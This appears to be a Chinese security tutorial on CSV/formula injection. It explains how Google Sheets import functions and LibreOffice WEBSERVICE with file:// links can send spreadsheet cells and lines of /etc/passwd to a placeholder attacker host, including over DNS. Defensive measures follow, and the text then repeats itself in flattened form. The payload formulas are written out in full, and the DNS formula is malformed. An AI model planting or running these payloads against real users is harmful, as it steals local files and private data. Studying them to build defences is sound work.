通过Formula注入(CSV注入)进行数据渗透
字数 1209 2025-08-26 22:11:22

CSV注入攻击与数据渗透技术详解

一、CSV注入攻击概述

CSV注入(Formula Injection)是一种利用电子表格软件(如Excel、Google Sheets、LibreOffice等)处理CSV文件时的特性进行攻击的技术。攻击者通过在CSV文件中嵌入恶意公式,当受害者打开或导入该文件时,公式会被执行,可能导致数据泄露或系统信息暴露。

二、Google表格数据渗透技术

1. 可利用的Google表格函数

Google表格提供了多种可用于数据渗透的内置函数:

  1. CONCATENATE: 字符串连接函数

    =CONCATENATE(A2:E2)
    
  2. IMPORTXML: 从XML/HTML/CSV等结构化数据源导入数据

    =IMPORTXML(CONCAT("http://[remote IP]/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
    
  3. IMPORTFEED: 导入RSS或ATOM Feed

    =IMPORTFEED(CONCAT("http://[remote IP]//123.txt?v=", CONCATENATE(A2:E2)))
    
  4. IMPORTHTML: 从HTML页面导入表格或列表数据

    =IMPORTHTML(CONCAT("http://[remote IP]/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
    
  5. IMPORTRANGE: 从其他电子表格导入数据范围

    =IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
    
  6. IMAGE: 插入远程图片

    =IMAGE("https://[remote IP]/images/srpr/logo3w.png")
    

2. 攻击场景分析

场景1:Google表单评论注入(失败)

  • 尝试在Google表单评论部分提交恶意公式
  • Google自动在公式前添加撇号(')阻止执行

场景2:CSV文件导入攻击(成功)

  1. 创建包含恶意公式的CSV文件
  2. 使用Google表格的导入功能将CSV数据附加到现有工作表
  3. 公式执行后,用户数据通过HTTP请求发送到攻击者服务器

三、LibreOffice文件读取攻击

1. 基本文件读取

LibreOffice支持通过file://协议读取本地文件:

=file:///etc/passwd'#$passwd.A1
  • 读取/etc/passwd文件的第一行
  • 打开文件时会提示用户更新链接

2. 结合WEBSERVICE函数实现数据外传

=WEBSERVICE(CONCATENATE("http://<ip>:8080/",('file:///etc/passwd'#$passwd.A1)))
  • 从/etc/passwd读取第一行
  • 通过HTTP请求将数据发送到攻击者服务器

3. 多行数据读取技术

=WEBSERVICE(CONCATENATE("http://<ip>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))
  • 读取/etc/passwd的前两行
  • 使用$字符(CHAR(36))分隔各行数据

4. DNS外传技术(解决URL长度限制)

=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41)FQDN>"))
  • 使用ENCODEURL对数据进行URL编码
  • MID函数限制数据长度(解决DNS 254字符限制)
  • SUBSTITUTE替换特殊字符
  • 通过DNS查询外传数据

四、防御措施

  1. 输入验证

    • 对所有用户输入的CSV数据进行严格验证
    • 检测并过滤以等号(=)、加号(+)、减号(-)或@符号开头的单元格
  2. 输出编码

    • 在导出CSV数据时,对特殊字符进行转义
    • 在公式前自动添加撇号(')
  3. 安全配置

    • 禁用不必要的电子表格函数
    • 限制外部资源访问
  4. 用户教育

    • 培训用户不要打开来源不明的CSV文件
    • 在打开CSV文件时注意安全警告
  5. 技术控制

    • 使用内容安全策略(CSP)限制外部连接
    • 监控异常的网络请求

五、总结

CSV注入攻击是一种被严重低估的攻击向量,它利用了电子表格软件自动执行公式的特性。通过精心构造的公式,攻击者可以实现数据外泄甚至远程代码执行。防御此类攻击需要结合技术控制、安全编码实践和用户教育等多层次防护措施。

CSV注入攻击与数据渗透技术详解 一、CSV注入攻击概述 CSV注入(Formula Injection)是一种利用电子表格软件(如Excel、Google Sheets、LibreOffice等)处理CSV文件时的特性进行攻击的技术。攻击者通过在CSV文件中嵌入恶意公式,当受害者打开或导入该文件时,公式会被执行,可能导致数据泄露或系统信息暴露。 二、Google表格数据渗透技术 1. 可利用的Google表格函数 Google表格提供了多种可用于数据渗透的内置函数: CONCATENATE : 字符串连接函数 IMPORTXML : 从XML/HTML/CSV等结构化数据源导入数据 IMPORTFEED : 导入RSS或ATOM Feed IMPORTHTML : 从HTML页面导入表格或列表数据 IMPORTRANGE : 从其他电子表格导入数据范围 IMAGE : 插入远程图片 2. 攻击场景分析 场景1:Google表单评论注入(失败) 尝试在Google表单评论部分提交恶意公式 Google自动在公式前添加撇号(')阻止执行 场景2:CSV文件导入攻击(成功) 创建包含恶意公式的CSV文件 使用Google表格的导入功能将CSV数据附加到现有工作表 公式执行后,用户数据通过HTTP请求发送到攻击者服务器 三、LibreOffice文件读取攻击 1. 基本文件读取 LibreOffice支持通过 file:// 协议读取本地文件: 读取/etc/passwd文件的第一行 打开文件时会提示用户更新链接 2. 结合WEBSERVICE函数实现数据外传 从/etc/passwd读取第一行 通过HTTP请求将数据发送到攻击者服务器 3. 多行数据读取技术 读取/etc/passwd的前两行 使用$字符(CHAR(36))分隔各行数据 4. DNS外传技术(解决URL长度限制) 使用ENCODEURL对数据进行URL编码 MID函数限制数据长度(解决DNS 254字符限制) SUBSTITUTE替换特殊字符 通过DNS查询外传数据 四、防御措施 输入验证 : 对所有用户输入的CSV数据进行严格验证 检测并过滤以等号(=)、加号(+)、减号(-)或@符号开头的单元格 输出编码 : 在导出CSV数据时,对特殊字符进行转义 在公式前自动添加撇号(') 安全配置 : 禁用不必要的电子表格函数 限制外部资源访问 用户教育 : 培训用户不要打开来源不明的CSV文件 在打开CSV文件时注意安全警告 技术控制 : 使用内容安全策略(CSP)限制外部连接 监控异常的网络请求 五、总结 CSV注入攻击是一种被严重低估的攻击向量,它利用了电子表格软件自动执行公式的特性。通过精心构造的公式,攻击者可以实现数据外泄甚至远程代码执行。防御此类攻击需要结合技术控制、安全编码实践和用户教育等多层次防护措施。